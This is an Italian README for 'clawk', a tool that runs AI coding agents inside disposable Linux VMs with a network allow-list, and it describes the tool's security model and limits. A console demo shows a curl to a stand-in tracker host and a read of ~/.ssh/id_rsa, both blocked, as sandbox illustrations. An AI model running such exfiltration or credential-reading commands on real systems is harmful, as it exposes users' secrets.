clawk

Un agente di coding è utile solo se gli permetti davvero di fare cose: installare pacchetti, eseguire il codice che scrive, avviare server, usare la rete. Sulla tua macchina questo lascia due brutte opzioni. Approvi ogni comando (e fai da babysitter a un prompt ogni pochi secondi), oppure esegui --dangerously-skip-permissions e speri che nulla di importante sia a un solo rm -rf o a un solo token trapelato di distanza.

clawk è una terza opzione. Fai cd in una repo, digita clawk, e Claude Code (o Codex, o pi, o una shell) lavora dentro una VM Linux usa e getta (il tuo codice montato dentro, root nell'ospite, nessun prompt di permessi) mentre i tuoi file, il tuo portachiavi e il resto della tua macchina restano fuori portata. L'agente ha la sua macchina invece della tua.

_{Un comando per un agente operativo; un tentativo di inviare dati a un server sconosciuto, bloccato dalla allow-list di rete; clawk attach riprende la sessione più tardi.}

Il confine non è una regola in un prompt da cui l'agente potrebbe essere convinto a uscire. È una macchina separata, e le uniche aperture sono quelle che hai montato tu. Da una shell dentro una sandbox:```console $ curl https://tracker.evil.example # not on the allow-list: blocked curl: (7) Failed to connect to tracker.evil.example port 443 after 2 ms: Connection refused

$ cat ~/.ssh/id_rsa # your keys never entered the VM cat: /home/agent/.ssh/id_rsa: No such file or directory

$ git push # ...yet this works: ssh-agent is forwarded Enumerating objects: 5, done.

Per essere onesti sui limiti, la lista consentita blocca le connessioni a server *sconosciuti*, non a quelli che hai consentito: github.com è pre-consentito e l'agent ssh inoltrato può eseguire push, quindi tratta qualsiasi cosa l'agent possa leggere come qualcosa che potrebbe pubblicare. Il [modello di sicurezza](#security-model-and-its-limits) lo spiega nel dettaglio.

E se l'agent distrugge la VM, esegui `clawk destroy && clawk`: una VM nuova, stesso repo, e `--resume` ripristina la conversazione.

> [!IMPORTANT]
> **Pre-1.0 e in rapida evoluzione.** Aspettati modifiche che rompono la compatibilità tra le release e qualche spigolo occasionale; le cose possono e andranno in tilt. Per favore apri issue; quel feedback sta plasmando la 1.0.

## Punti salienti

- **Lascia che l'agent faccia qualsiasi cosa.** Gira in una VM usa-e-getta con rete limitata, quindi `rm -rf`, installazioni di pacchetti e codice non fidato non possono raggiungere il tuo host, i tuoi file o qualsiasi cosa tu non abbia condiviso esplicitamente.
- **Lavorare con un solo comando.** Fai `cd` in un repo ed esegui `clawk`. Niente Dockerfile, devcontainer o file di setup. Il primo avvio costruisce un rootfs dalla tua immagine; ogni avvio successivo richiede secondi.
- **Rompi tutto senza perdere nulla.** Distruggi e ricrea liberamente; il tuo codice e le conversazioni dell'agent vivono sull'host. Solo il disco della VM usa-e-getta viene perso.
- **Una vera macchina Linux, la tua toolchain.** Qualsiasi immagine OCI è il rootfs: un sistema operativo completo con esattamente gli strumenti di cui il tuo progetto ha bisogno. Nessun daemon Docker richiesto.
- **I segreti restano sulla tua macchina.** Il traffico in uscita è in lista consentita e il tuo ssh-agent viene inoltrato, quindi `git push` funziona senza che le chiavi entrino nella VM.
- **Una sandbox per progetto o ticket.** Eseguine diverse contemporaneamente; i ticket multi-repo ottengono un git worktree per repo con PR coordinate. Le VM inattive rilasciano automaticamente la memoria e si sospendono su disco, quindi una sandbox dimenticata costa (quasi) nulla.

## Perché una VM?

clawk è un ambiente locale generico per agenti di codifica autonomi. La VM è il punto: è una macchina intera che l'agent può possedere, non un processo avvolto in policy su quella che stai usando tu.

- **Un kernel separato.** L'ospite esegue il proprio kernel Linux, quindi il filesystem dell'host non è nascosto dietro regole di negazione; non è mai stato montato.
- **Un ambiente Linux convenzionale.** Kernel standard, userland standard, aspettative a forma di `/dev/kvm`, così gli strumenti si comportano come dicono i loro documenti, senza sorprese da filtro syscall.
- **Root nell'ospite.** Installa pacchetti di sistema, modifica `/etc`, carica un modulo, vincola una porta privilegiata. È la scatola dell'agent da riconfigurare.
- **Un ciclo di vita usa-e-getta.** Economico da rompere e veloce da ricreare; una VM distrutta è a un `clawk destroy && clawk` di distanza, con il tuo repo e le conversazioni intatti sull'host.
- **Separazione più forte dall'host.** L'isolamento si basa sul confine dell'hypervisor piuttosto che sull'azzeccare perfettamente una policy di sandbox per processi.

Quella combinazione esegue carichi di lavoro su cui una sandbox per processi limitata tende a farti combattere:

- installare pacchetti e dipendenze native;
- eseguire servizi in background (database, code, server di sviluppo);
- eseguire build e test non fidati a piena velocità;
- usare tooling Linux di sistema che si aspetta una macchina reale;
- e, con un kernel ospite abilitato a KVM su hardware supportato, flussi di lavoro di sviluppo container e Kubernetes come Docker o Kind che girano *dentro* la sandbox. Questo è opt-in e limitato dall'hardware; vedi [Immagini](https://github.com/clawkwork/clawk/blob/main/docs/images.md#guest-kernel-override) per i requisiti esatti.

Niente di tutto questo è il *prodotto*; clawk è per lavoro locale con agenti in generale. Docker e Kubernetes sono solo l'esempio più calzante di "serve una macchina reale, non un processo in sandbox".

## Installazione